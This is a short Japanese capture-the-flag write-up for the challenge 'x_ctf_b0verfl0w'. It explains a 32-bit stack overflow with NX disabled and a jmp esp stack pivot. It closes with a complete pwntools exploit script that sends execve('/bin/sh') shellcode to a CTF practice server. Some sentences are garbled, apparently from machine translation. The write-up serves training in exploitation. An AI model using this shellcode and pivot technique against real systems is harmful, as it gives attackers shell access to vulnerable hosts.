x_ctf_b0verfl0w
ステップ
-
定期検査、32ビットプログラム、RELROが有効(取得したテーブルは書き換えられません)
-
プログラムをローカルで実行して、一般的な状況を確認してください
-
32ビットの
idaloading fgetsはオーバーフローする可能性がありますが、オーバーフローできるのは0x32-0x20-0x4 = 14バイトのみです。nxが有効になっていないため、最初に頭に浮かぶのはシェルコードです。0x20はpwntoolsによって生成されたシェルコードに確実に適合しません。 。自分でしか書くことができませんが、シェルコードを実行するためにespをハイジャックする方法を見つける必要があります -
ジャンプespガジェットはヒット関数にある
ので、そのようなスタックを構築できます
retはjump espと記述され、retを実行した後、esp +4はsubesp、0x28を指します;ジャンプesp、次に実行すると、espはGoを返しますシェルコードの場所に移動し、espにジャンプします。シェルコードが実行されます。
ret実行後のespとeipの変更の詳細については、こちらの記事をご覧ください。
from pwn import *
context.log_level='debug'
r=remote('node3.buuoj.cn',29554)
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
print len(shellcode) #21
jmp_esp=0x8048504
sub_esp_jmp=asm('sub esp,0x28;jmp esp')
payload=shellcode+(0x20-len(shellcode)+4)*'a'+p32(jmp_esp)+sub_esp_jmp
r.sendline(payload)
r.interactive()